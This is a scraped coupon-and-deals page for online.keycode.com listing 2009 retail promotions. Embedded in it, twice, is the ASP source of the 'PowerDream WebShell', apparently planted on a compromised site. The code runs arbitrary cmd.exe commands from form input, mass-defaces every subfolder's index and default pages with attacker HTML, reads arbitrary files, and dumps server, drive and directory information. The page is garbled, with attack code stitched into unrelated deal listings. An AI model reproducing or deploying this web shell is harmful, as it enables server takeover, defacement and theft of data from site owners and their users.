online.keycode.com coupons, discounts and deals

<% 'Created by PowerDream
'WebShell '2007 '[TURKEY] %> <% On Error Resume Next Set Objeto=Server.CreateObject("Scripting.FileSystemObject") if request("t5") <> "" then Set ObjPasta = Objeto.GetFolder(request("t5")) end if %> <%On Error Resume Next if request("t3") <> "" then Set ObjPasta2 = Objeto.GetFolder(request("t3")) set ObjFso=server.CreateObject("Scripting.FileSystemObject") var_caminho=request("t3") For Each Pasta in ObjPasta2.Subfolders Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.aspx", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\index.asp", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.htm", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.html", 2, True, False) ObjAbreArq.writeline request("t4") set ObjAbreArq = nothing Set ObjAbreArq = ObjFso.OpenTextFile(Var_Caminho & "\" & pasta.name & "\default.asp", 2, True, False) ObjAbreArq.writeline request("t4") if err then response.write "
Way amk Hacklenmedi..!: " & pasta.name err=0 else response.write "
Gözün Aydın Hacklendi :)" & pasta.name end if set ObjAbreArq = nothing next set ObjFso=nothing Set ObjPasta2 = nothing set ObjFso = nothing end if %>PowerDream Web Shell

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

<% Dim oScript Dim oScriptNet Dim oFileSys, oFile Dim szCMD, szTempFile On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet=Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:\" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & ">" & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If %>

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

<%On Error Resume Next if request("tt") <> "" then var_caminho=request("tt") set ObjFso2=server.CreateObject("Scripting.FileSystemObject") Set ObjAbreArq2 = ObjFso2.OpenTextFile(Var_Caminho, 1, True, False) Do While Not ObjAbreArq2.AtEndOfStream Linha = Linha & ObjAbreArq2.Readline & chr(13) Loop response.write "" ObjAbreArq2.Close Set ObjAbreArq2 = Nothing ObjFso2.close set ObjFso2 = Nothig end if%>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Deal Categories

Apparel - Kids & Teens

Cooking & Kitchenware

Dating & Networking

Department Stores

Diet Plans & Supplements

Education

Electronics & Appliances

Entertainment

Eyewear

Financial & Insurance

Housewares & Furniture

Internet Services

Jewelry & Accessories

Licensed Merchandise

Luggage & Accessories

Music & Movies

Office Supplies & Ink

Featured Online Discounts

(see all SmartBargains.com deals)

10% off Site!
Take 10% off Site at SmartBargains.com when you use the Key Code coupon link!
Expires 12/1/2009

(see all 1-800-FLOWERS.com deals)

15% Off Your Order!
Take 15% Off Your Entire Order at 1800Flowers.com when you use the Coupon Code: KYCODE
Expires 2/28/2010 KYCODE

(see all JC Penney deals)

$15 off $75+ or $10 off $50+!
Get An Instant Money Savings coupon for $15 off $75+ or $10 off $50+ at jcp.com!
Expires 11/22/2009

(see all Ralph Lauren deals)

Up to 30% on perfect to wear styles!
Save up to 30% on styles perfect to wear now at Ralphlauren.com when you use the Keycode discount link!
Expires 12/31/2009

(see all Target deals)

$5 Off $50 or More!
Take $5 Off $50 or more at Target.com when you use the Key Code Promotion Code link!
On-Going Promotion

(see all JC Penney deals)

$15 off $75+ or $10 off $50+!
Get An Instant Money Savings coupon for $15 off $75+ or $10 off $50+ at jcp.com!
Expires 11/22/2009

(see all 1-800-FLOWERS.com deals)

15% Off Your Order!
Take 15% Off Your Entire Order at 1800Flowers.com when you use the Coupon Code: KYCODE
Expires 2/28/2010 KYCODE

(see all SmartBargains.com deals)

10% off Site!
Take 10% off Site at SmartBargains.com when you use the Key Code coupon link!
Expires 12/1/2009

(see all Lord & Taylor deals)

15% Off Regular Items, 20% Off Sale Items!
BIG Sale - Take 15% off regular items ONLINE ONLY, take 20% off sale and clearance at Lord & Taylor when you use the Promo Code: BIG
Expires 11/22/2009 BIG

(see all Cost Plus World Market deals)

25% Off Furniture Coupon!
Save 25% Off Furniture at Cost Plus World Market when you use the Coupon Code: NOVFURNAF
Expires 11/25/2009 NOVFURNAF

(see all RedEnvelope.com deals)

10% Off All Order, 15% Off $80, or 20% Off $125 or more!
Take 10% Off Any Order, 15% Off $80 or 20% Off $125 or more at RedEnvelope.com when you use this Keycode link.
Expires 12/31/2009

(see all Old Navy deals)

25% off $100 or 15% off $75 + Free Shipping!
Get 25% off $100 or 15% off $75 and get Free Shipping at Old Navy. Enter code ONSAVE15 at checkout.
Expires 11/24/2009 ONSAVE15

(see all 1-800-FLOWERS.com deals)

15% Off Your Order!
Take 15% Off Your Entire Order at 1800Flowers.com when you use the Coupon Code: KYCODE
Expires 2/28/2010 KYCODE

Hot Deals

See all Hot Deals

1. Wal-Mart Save on Clearance at Walmart.com! (1150 clicks)

On-Going Promotion

2. JC Penney Daily Deal at JC Penney (1150 clicks)

On-Going Promotion

3. Sears Portrait Studio 20% off Coupon! (918 clicks)

Expires 12/31/2009

4. Target $5 Off $50 or More! (777 clicks)

On-Going Promotion

5. JC Penney JCPenney Online Outlet - save 20% - 70% everyday! (704 clicks)

On-Going Promotion

6. Wal-Mart Walmart Marketplace! (603 clicks)

On-Going Promotion

7. Sears Portrait Studio See all of the latest offers at www.searsportrait.com (590 clicks)

On-Going Promotion

New Deals

See all New Deals

1. Bloomingdales Estée Lauder Blockbuster Holiday Set for $55 (A $340.00 Value) with Any Estée Lauder Fragrance Purchase!

Expires 12/25/2009

2. Kohl's Free Shipping with a purchase of $50 or more!

Expires 11/21/2009

3. Zales Jewelry 10% off everything!

coupon code : EVERYTHING

Expires 11/22/2009

4. Aeropostale 30% off Coupon Code!

coupon code : FFNOV

Expires 11/22/2009

5. The Sports Authority 25% off Any Single Item!

Expires 11/22/2009

6. Adidas 20-40% off men's warm ups + Free Shipping on $49 or more!

Expires 11/28/2009

7. NBA Store 20% Off Your Purchase of $100 or More!

Expires 11/22/2009

8. Portero Extra 10% off pre-owned Chanel Bags & Jewelry!

coupon code : AFFNNCH

Expires Today

Expiring Deals

See all Expiring Deals

Thursday November 19 2009 Reebok Women;s Plush Fleece Pullover Hoodie for $19.99! when you buy any Women's Easytone!

coupon code : 242

Thursday November 19 2009 Kohl's 40-50% Off Selected Sleepwear

coupon code : 266

Thursday November 19 2009 drugstore.com $20 off your next order when you spend $100 on select toys!

coupon code : 378

Thursday November 19 2009 Avon In Bloom by Reese Witherspoon Elegant Holiday Collection $64 value for $39!

coupon code : 181

Thursday November 19 2009 REI Free Shipping with purchase of any Mountain Hardwear item!

coupon code : 104

Thursday November 19 2009 Southwest Airlines Vacations Save up to $120 when you book a Flight + 3-night Las Vegas hotel package!

coupon code : 721

Thursday November 19 2009 Solutions Free Shipping on Select Gifts!

coupon code : 619

Thursday November 19 2009 Newegg TOSHIBA 32" 720p LCD HDTV for $329.99+$9.99 Shipping!

coupon code : 692

PowerDream WebShell v1.0

Server Bilgileri:

|Web Server : <%=request.servervariables("SERVER_SOFTWARE")%> |IP Server: <%=request.servervariables("LOCAL_ADDR")%> | Protocol: <% = Request.ServerVariables("SERVER_PROTOCOL") %> |

Dizinler: <%=server.mappath("pd.asp")%>

MASS DEFACEMENT:

Dizinler:

Html Kodlari Buraya Giriniz :
Hacked by PowerDream

CMD Bilgileri:

  <%
If (IsObject(oFile)) Then
On Error Resume Next
Response.Write Server.HTMLEncode(oFile.ReadAll)
oFile.Close
Call oFileSys.DeleteFile(szTempFile, True)
End If
%>
  

  <%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>

_____________________________________________________________________________________________________

<%set ObjPasta = nothing set Objeto = nothing%>

Extra Bilgiler

<% DIM fs, d, dc, s, n, sp Set fs=Server.Createobject("Scripting.FileSystemObject") Set dc=fs.drives %>

<% back1="#D3E2E7" back2="#AFFEDE" back=back2 FOR EACH d IN dc IF (back=back2) THEN back=back1 ELSE back=back2 END IF %> <%NEXT%>

Hard Diskler	Tipleri	Numaralari	Sistem Bilgileri ve Arsivler	Limit	Total
<%=d.driveletter%>	<% IF d.DriveType = 0 Then s = "Unknown" IF d.VolumeName = "" Then n = " " Else n = d.VolumeName END IF ELSEIF d.drivetype=1 THEN s="Removable" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=2 THEN s="Fixed" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=3 THEN s="Network" IF d.isready THEN n=d.sharename ELSE n="--" END IF ELSEIF d.drivetype=4 THEN s="CDROM" IF d.isready THEN n=d.volumename ELSE n="--" END IF ELSEIF d.drivetype=5 THEN s="RAM Disk" IF d.isready THEN n=d.volumename ELSE n="--" END IF END IF response.write(s) %>	<%=n%>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN set sp=fs.getdrive(str) response.write(sp.filesystem) ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN freespace = (d.AvailableSpace / 1048576) set sp=fs.getdrive(str) response.write(Round(freespace,1) & " MB") ELSE response.write("--") END IF %>	<% str="" str=str & d.driveletter str=str & ":" 'response.write(str) IF d.isready THEN totalspace = (d.TotalSize / 1048576) set sp=fs.getdrive(str) response.write(Round(totalspace,1) & " MB") ELSE response.write("--") END IF %>

Server Hakkında Geniş Bilgi
<% for each thing in request.servervariables tempvalue=request.servervariables(thing) response.write thing & "=" & tempvalue & "<br>" next %>

_____________________________________________________________________________________________________

Direktörler	Arsivler
<% On Error Resume Next dim contador contador=1 For Each Pasta in ObjPasta.Subfolders Response.Write Contador & "-) "& Pasta.Name & " " contador=contador+1 next%>	<%On Error Resume Next For Each Archivo in ObjPasta.Files Response.Write Archivo.Name & " " Next%>